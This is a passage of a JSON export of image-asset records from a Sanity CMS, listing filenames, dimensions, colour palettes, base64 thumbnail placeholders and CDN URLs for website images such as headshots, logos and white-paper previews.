T9QzS7hWa2yLnHhH6M4Xybg0ExIVrpY+YSFKeD5nZJuz3S3gAnvCZaG+GXb9HcMbI9RgrXz4k2egSrCSKIqUdnvGtcEa108EoXNBrXNNdHiPwlmuig564w/D5OOKLaHLPzfkxz+x6vPMMs3CPp3iH1zRlbO38o1YdUaudsbvZZbVzhRx38UkJuOSGb62D4l5hBH7d4TXFtSu3tjNdbU6pvHgiqvxHRA9LL9GcqzSnbu38Ja0OClZjKxgVe8ed8SsqKUexTNHFONt/FKvQRxRuCygR/9Q6nOEGUpojSDCucIT1XP2H6MX65iy5OWMrsIxstFlL7PFtqsagd8cqIkc0zVJHMG2puD80dkHIGyPaQlDNCEbcoYsw/AOoST+SoPzMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414885","foreground":"#fff","population":2.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14246f","foreground":"#fff","population":6.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4cbed","foreground":"#000","population":6.22,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8b5a1","foreground":"#000","population":0.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4cbed","foreground":"#000","population":6.22,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6971a9","foreground":"#fff","population":5,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd04b","foreground":"#000","population":0.28,"title":"#000"}}},"mimeType":"image/png","originalFilename":"CDC image draft.PNG","path":"images/sczeoy4w/production/651a94e715d3002b093f1e58a4c0f51aac4c38bf-1572x575.png","sha1hash":"651a94e715d3002b093f1e58a4c0f51aac4c38bf","size":159744,"uploadId":"uQfUw0Sg1eMuJKcdF9L3AQXURJNuepMC","url":"https://cdn.sanity.io/images/sczeoy4w/production/651a94e715d3002b093f1e58a4c0f51aac4c38bf-1572x575.png"} {"_createdAt":"2023-03-16T18:29:14Z","_id":"image-65382ab35073e89225937861336d0c808760c4b1-259x258-jpg","_rev":"0lF4kyZBi1fr8QymZ6L3YQ","_type":"sanity.imageAsset","_updatedAt":"2023-03-16T18:29:14Z","assetId":"65382ab35073e89225937861336d0c808760c4b1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eFG95CM{_3~q4n00-;M{ofxu~qD%xuWBRjt7%MM{WBM{RjofIURj-;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.003875968992248,"height":258,"width":259},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIFBgT/xAAlEAACAQQBAwQDAAAAAAAAAAABAgMABAUREgYHExQhQWEiQlH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A5+4OYlxGGZ8fE3lZ/Gpf4J+aou2ueyk08gzzNNaE8PJrYB/laXqbCJlOnp7iacgwrzCtv3NUfbnHXl9jruLGWcU0gUAqG/LY/bVBPpaU+kuynEKbqQgb+6VDC4a9t7eaOZmgk8zkoynY96UGxyd5NdLHDMQY0XiFA0CPurbtyiY3KSehjSEyqeTKPelKDfY66N1C8lzDbyScyOTRjZ1SlKD/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":3.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":9.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":9.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"be6e56a4-ritesh-grayscale_1077078077076000001028.jpg","path":"images/sczeoy4w/production/65382ab35073e89225937861336d0c808760c4b1-259x258.jpg","sha1hash":"65382ab35073e89225937861336d0c808760c4b1","size":12334,"uploadId":"XJtD6KSxoxaBq866H1MrZobInqKmCY8U","url":"https://cdn.sanity.io/images/sczeoy4w/production/65382ab35073e89225937861336d0c808760c4b1-259x258.jpg"} {"_createdAt":"2022-06-14T14:41:06Z","_id":"image-655b58e821c64ff8310cda23bb8afc5fe604ab46-407x407-jpg","_rev":"0HOthdQkSgJdYc0C9r2gml","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:06Z","assetId":"655b58e821c64ff8310cda23bb8afc5fe604ab46","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAAmMRjE0Mj]=Y8wtSROM_o$6BV?~Dt8IoITWBads:j=M{WXxas:Nf","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":407,"width":407},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAUHAQQIBv/EACUQAAEEAgIBAwUAAAAAAAAAAAIAAQMEBQYRIRIHIkExMkJRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAMEAv/EABwRAAICAwEBAAAAAAAAAAAAAAABAhIDEUEiUf/aAAwDAQACEQMRAD8A5z0/BhnMkdeSYYRCNzci+inN10mLA46GzXuhacvuYPxWPTuG3Syg2ZaJHSmBwIybhmZ/lWdtdaXJasVbG1YBlL2nJ48M/wDGWZWUkl0bHGEsbb4c8cIpmxr2UhlKM6M/k36HlkSUfwnsi1tlJ4dKqNF7GIIx666Wzo1uxcoXDtTySvFwIMT9MyIrde0Bt1Z6oYhEA4b4Z+0RE4Z//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58362a","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5a1611","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#657697","foreground":"#fff","population":11.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb4ab","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de9c9a","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657697","foreground":"#fff","population":11.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#933c44","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Headshot_small_crop.jpg","path":"images/sczeoy4w/production/655b58e821c64ff8310cda23bb8afc5fe604ab46-407x407.jpg","sha1hash":"655b58e821c64ff8310cda23bb8afc5fe604ab46","size":46122,"uploadId":"Vjk69QDw3q5Bxhntph1P5qVzyh78pqC4","url":"https://cdn.sanity.io/images/sczeoy4w/production/655b58e821c64ff8310cda23bb8afc5fe604ab46-407x407.jpg"} {"_createdAt":"2023-08-16T10:01:44Z","_id":"image-6599af826629506f1c21179bbd081fe170afcb9c-8000x4500-jpg","_rev":"B2qRym1lObpfgwjNwbQ9kz","_type":"sanity.imageAsset","_updatedAt":"2023-08-16T10:01:44Z","assetId":"6599af826629506f1c21179bbd081fe170afcb9c","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWS~O}kWuPw^rCrqkCo}i_niTejFm+bbk=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":4500,"width":8000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMGCP/EACAQAQACAwAABwAAAAAAAAAAAAEAAgMEEQUGEiExQVH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABkRAAIDAQAAAAAAAAAAAAAAAAECAAMRof/aAAwDAQACEQMRAD8A0/v17ibAdD7JKeXs2/ueKNM1u69Otj08lXnsmcB9uRuClSnSoL+EGyouysDmdlFVy1oyldJ5GgAB8EIQjSef/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#595959","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#812902","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5106","foreground":"#fff","population":4.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cea98f","foreground":"#000","population":1.94,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac64","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#797a7c","foreground":"#fff","population":0.49,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa5106","foreground":"#fff","population":4.06,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"EMEA-GCP+Aiven+IDC-White-paper-on-the-website1.jpg","path":"images/sczeoy4w/production/6599af826629506f1c21179bbd081fe170afcb9c-8000x4500.jpg","sha1hash":"6599af826629506f1c21179bbd081fe170afcb9c","size":1964633,"uploadId":"eof3R3ij3feomERWfbw99UpQA2LytUhi","url":"https://cdn.sanity.io/images/sczeoy4w/production/6599af826629506f1c21179bbd081fe170afcb9c-8000x4500.jpg"} {"_createdAt":"2023-02-17T12:40:15Z","_id":"image-65d0d1805fb62427da622ddf2d0496ce9f158602-2000x829-png","_rev":"ZxzZ1hFw7v7VMlheRhMDUe","_type":"sanity.imageAsset","_updatedAt":"2023-02-17T12:40:15Z","assetId":"65d0d1805fb62427da622ddf2d0496ce9f158602","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MDMhiP0500Q50o^5EOthIrrr01?D}uVZt2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4125452352231602,"height":829,"width":2000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACi0lEQVQokU3S60tTcRgH8BNLsUYphM3Naja3afNyRqSGpSJhQQahUShdMIPSqUmS0jjRljrdmYml6dzmJSNL093SbW66tqZzzQuL3vQHRBZ0Myu1ec7vifmmHvi+/cD3y4PhOI6FAgBY6EavXN/59U5bdrChs5puUksRqb1FKTVSSqGW0iqNdG1whPjlsdcFpxsrYSKlGiZYdWCPrQEH9xRMJUaHMAaO41vzj2SFYbGs8AdFJZxPt+9doBq7+qG524hInR6RWgNq7jaghwOGP+M24+pr53DQc7cHrMkDYGXpYWJvPzh4F8GZvCsEbsNxfEfmobRItpAfVV9YzF8iWiopRZcNlJp5pOrxI6XWD629fvqZwb/u9cytLbqnqVcyC1hFk8ga40N27hPkEJxETjwiBIbhOB6RnZbBjBHER8oLigRLREsVpVA7gNQuIpVuHpHaBdA+XaCcU/OrAf/CesAzS3tkNrCKXMjGmUF2ngomE5LQSzG2uV8o53PzGFE8LrOhsDj+I9FSTjepx0Gl8wGp80JrrxdGzN6NOa939e3cbDDgcoObMIMl0QG2WAs4+BVoSrQbOf8Dz+UcY0TzeUx5QVHcB0J1aUOhfkSTWjOt1Bjptj4TbbaY1hd9pt9vfOagzzhCW6/20S/4g8i2Rx2qC87U7eA++A/MO5zJiDuQwCw7cYoTuCHL+ia/f/lnY6dkpaGj/IeqW7L8XC/5MuOSfPZOSr5bOq4tP84vWRnilq6N7TtD2QU8cKUy4N1xDBOLxZhQKMSOpqVvSUpNCc9Jz4gkTp+NHiqtYlslteyxsptsc0UtxySv54y2t3H07STHVF/K1teIY8Zk+1m+TkHU+2FRGEDu5tv9BS9eSPQUGFMJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#65453c","foreground":"#fff","population":2.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#653705","foreground":"#fff","population":0.77,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f68398","foreground":"#000","population":11.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec4b1","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f68398","foreground":"#000","population":11.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b06f5c","foreground":"#fff","population":1.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7b219","foreground":"#000","population":4.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"chart-8-future-sentiment.png","path":"images/sczeoy4w/production/65d0d1805fb62427da622ddf2d0496ce9f158602-2000x829.png","sha1hash":"65d0d1805fb62427da622ddf2d0496ce9f158602","size":62564,"uploadId":"4rtY82DDGBod6J8cmpZqISKMdYTVn6ab","url":"https://cdn.sanity.io/images/sczeoy4w/production/65d0d1805fb62427da622ddf2d0496ce9f158602-2000x829.png"} {"_createdAt":"2024-03-01T12:53:37Z","_id":"image-65eb839071353343c7fe75cf04518aa14a3b94f3-1200x630-jpg","_rev":"ATDZHFufy5x2dHKNUIL6hd","_type":"sanity.imageAsset","_updatedAt":"2024-03-01T12:53:37Z","assetId":"65eb839071353343c7fe75cf04518aa14a3b94f3","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M784io-mDzs:M|?dovNFt8R+9Ef9xuaet6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAwUH/8QAIxAAAgEDAwQDAAAAAAAAAAAAAQIAAwQRBSFREhMUMSJBYf/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwX/xAAaEQACAgMAAAAAAAAAAAAAAAAAAQIhERJR/9oADAMBAAIRAxEAPwDk9k+j1LamKwZaqrg45jVU6P47AFwSPfExbM/CmMD3wJVfse64+vyb8aRJqyXW3Z2wCRnY8wiNRj1neEfdcBg//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363360","foreground":"#fff","population":1.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#23235c","foreground":"#fff","population":14.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#23235c","foreground":"#fff","population":14.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acadcf","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c6c9e7","foreground":"#000","population":0.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#706e93","foreground":"#fff","population":2.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be444e","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IDC_white_paper_meta_preview_1200x630.jpg","path":"images/sczeoy4w/production/65eb839071353343c7fe75cf04518aa14a3b94f3-1200x630.jpg","sha1hash":"65eb839071353343c7fe75cf04518aa14a3b94f3","size":932584,"uploadId":"6bnT3WKMZTe9UGG9klDi4h1AC2iblSXT","url":"https://cdn.sanity.io/images/sczeoy4w/production/65eb839071353343c7fe75cf04518aa14a3b94f3-1200x630.jpg"} {"_createdAt":"2024-02-22T17:16:27Z","_id":"image-6609ca9b45c4b94c76e18712c18a28311d4873b6-4154x2770-jpg","_rev":"AhQsd13Ciq0lSu1Flh23Op","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T17:16:27Z","assetId":"6609ca9b45c4b94c76e18712c18a28311d4873b6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VABC_f?wlA%NM_4m00I8M{NFNxxa~C%MIp?GtSAFkCxY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.499638989169675,"height":2770,"width":4154},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCBAX/xAAkEAABBAIBAwUBAAAAAAAAAAACAQMEBQARIQYSEwcUIjEyUf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABwRAAICAgMAAAAAAAAAAAAAAAABAhEDIgQTIf/aAAwDAQACEQMRAD8AQ9DTyJcPwtMChvF2i45wmbdZW2HS8gxs4qeN7hHh+Qon9xnervt4fSMBuBFajHHcXscD9fWI+subCxljGly3nGlLWu7JOlLUbHajsXr24YKycRomiAdChKPK4ZCwpGQkqiOLrW+UwxelmXyfT//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#452829","foreground":"#fff","population":8.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6f331a","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#452829","foreground":"#fff","population":8.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2b4a7","foreground":"#000","population":0.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eecaae","foreground":"#000","population":1.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#526e98","foreground":"#fff","population":1.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be6943","foreground":"#fff","population":0.82,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"DriftwoodRoom1.jpeg","path":"images/sczeoy4w/production/6609ca9b45c4b94c76e18712c18a28311d4873b6-4154x2770.jpg","sha1hash":"6609ca9b45c4b94c76e18712c18a28311d4873b6","size":7978918,"uploadId":"YGo1YNRSKulC1GiYgkvLzxEEPJwt3hIe","url":"https://cdn.sanity.io/images/sczeoy4w/production/6609ca9b45c4b94c76e18712c18a28311d4873b6-4154x2770.jpg"} {"_createdAt":"2024-06-27T14:53:40Z","_id":"image-662b6420b98b6f16168915e148e936fd32823db2-1200x628-png","_rev":"p92WeIHLmx3eRj4zhh9gk1","_type":"sanity.imageAsset","_updatedAt":"2024-06-27T14:53:40Z","assetId":"662b6420b98b6f16168915e148e936fd32823db2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M27nbL_A-bMb0D~UJG?u?YOv00Mt?b-@aZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAClElEQVQokR2Sa1MaBxhG9xdkplWQy+5yWRZ2uQZxUcBoEtLlImCCqNFJpqnVxNaYyBgI98WgFtOm006aT/2xJwMf3i/PO/PMM2eOsCQfsvXMotn+n8bhFK/2hh+cr1gQj1mUfsPmOcfubbLk/4Az0MWtjpC1IYmVDiWzQ7EwIJ4eIWmD+V+wic95stXj9N1/bO9e49NPWZSOsHve4PCd4VQucAUucaltXGoPKTRET15i5o84Ozimddxi//CGePYad3CIsODeJ5V9R6U+Jl8ekMxcEkk1ia60iBkdkpkRyewVespC1gb4on1yD9+yXd5mz8zzem+Pk5MuD4o3yOFPCDbpgOTqW/LlHoWaRaH2CbM64afKDWbtjtruP1Qa/5LN36HELNT4gHzxnKJZYDkSYd3IUa3+Qnqzjzc6RZgxNHLvKT+1qDUmVBs3VHamVBufqe3+ze6Lb9QPv/Go9AU9NUGJjTDWmxjpEj5ZRwutYay9RF/u4oncIdjlA5KZc8zKgOL2GLN6RaF6jVm95XHplvzWZx6V/8TYuCWYGOPRZyv7qJFfkXxlvGqdQPQMj95H1CYIi+59tPgJRu6C1Y1LjPUWq5tdVjcGc4ba/Q5qvIcn3EUM9pH1MXpqSjLzB/H0kGCigy8yy4dImoWw4NhB8T0nEj1CS5yixn5nOdtmPW9xf61HINbGrX7A4W/hVLp4wmMSmb/IPflKevMLEeOaQNzCHx3iCY8QfrQ/wy/W0UMvUcIncw9T2TaPSxPSD0YEEx8RZ4VKC1egixSyUBO3hFemqHMEM5U6iKEuojZCuGers7C0g929j016gU3+GXfgNV79HDn4HpdygcPfnBfOxQ6OEENXuIMWTuXjXPjZOZQ27pDFd8QtbjfALaZyAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f346d","foreground":"#fff","population":1.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b68","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3c4dc","foreground":"#000","population":7.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3c4dc","foreground":"#000","population":7.87,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a81c2","foreground":"#fff","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525d93","foreground":"#fff","population":1.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b7404a","foreground":"#fff","population":0.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Diogo 3.png","path":"images/sczeoy4w/production/662b6420b98b6f16168915e148e936fd32823db2-1200x628.png","sha1hash":"662b6420b98b6f16168915e148e936fd32823db2","size":294908,"uploadId":"kfhgw4tPY8MaIwrplS5NcTfwqtQQGGrB","url":"https://cdn.sanity.io/images/sczeoy4w/production/662b6420b98b6f16168915e148e936fd32823db2-1200x628.png"} {"_createdAt":"2023-03-01T07:52:47Z","_id":"image-662d4991d0bce63f93b73a123aabf02d65d18997-800x198-jpg","_rev":"pxdTVqM9Iazv4GeKU0FvGS","_type":"sanity.imageAsset","_updatedAt":"2023-03-01T07:52:47Z","assetId":"662d4991d0bce63f93b73a123aabf02d65d18997","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8GTK$o#02x]01.AofRkRkt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.040404040404041,"height":198,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAFABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAMG/8QAHhAAAQQCAwEAAAAAAAAAAAAAAQADBAUCEhEhoXH/xAAVAQEBAAAAAAAAAAAAAAAAAAAEBv/EABoRAQEBAAMBAAAAAAAAAAAAAAECAAMR0SH/2gAMAwEAAhEDEQA/AFfZwm65hvOojOZgAlwns+K7dvAd32pInI7BB448RFYvHP310OctdHhs9eTI8ieXGILUfDUDTA9fUREiZADFulpd/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c648c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0474ac","foreground":"#fff","population":1.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0474b4","foreground":"#fff","population":32.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#92b0c3","foreground":"#000","population":1.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#99d2f7","foreground":"#000","population":0.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#588091","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0474b4","foreground":"#fff","population":32.78,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"logo-decathlon.jpg","path":"images/sczeoy4w/production/662d4991d0bce63f93b73a123aabf02d65d18997-800x198.jpg","sha1hash":"662d4991d0bce63f93b73a123aabf02d65d18997","size":16508,"uploadId":"l2sV9hHPL9okQn5AS8mHeLUg4uodqH1H","url":"https://cdn.sanity.io/images/sczeoy4w/production/662d4991d0bce63f93b73a123aabf02d65d18997-800x198.jpg"} {"_createdAt":"2024-03-01T12:58:35Z","_id":"image-6644cff4a7e429b9d814095807b0d8a3b6c51434-1200x630-jpg","_rev":"ATDZHFufy5x2dHKNUILFE1","_type":"sanity.imageAsset","_updatedAt":"2024-03-01T12:58:35Z","assetId":"6644cff4a7e429b9d814095807b0d8a3b6c51434","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M784fh-mDzs:M|?dovNFt8WC9Ef9xuaet6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAwUH/8QAIxAAAgEDAwQDAAAAAAAAAAAAAQIAAwQRBSFREhMxQRQiYf/EABcBAAMBAAAAAAAAAAAAAAAAAAECAwX/xAAaEQACAgMAAAAAAAAAAAAAAAAAAQIhERJR/9oADAMBAAIRAxEAPwDk9k+j1LamKwZaqrg4HuNVTo/x2ALgkeeJi2Z+lMYHngSq/Y91x6/JvwpEmrJdbdnbAJGdjzCI1GPWd4R91wGD/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363360","foreground":"#fff","population":1.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#23235c","foreground":"#fff","population":15.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#23235c","foreground":"#fff","population":15.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acadcf","foreground":"#000","population":0.85,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7c9e7","foreground":"#000","population":0.62,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c648e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#be434f","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IDC_white_paper_meta_preview_1200x630 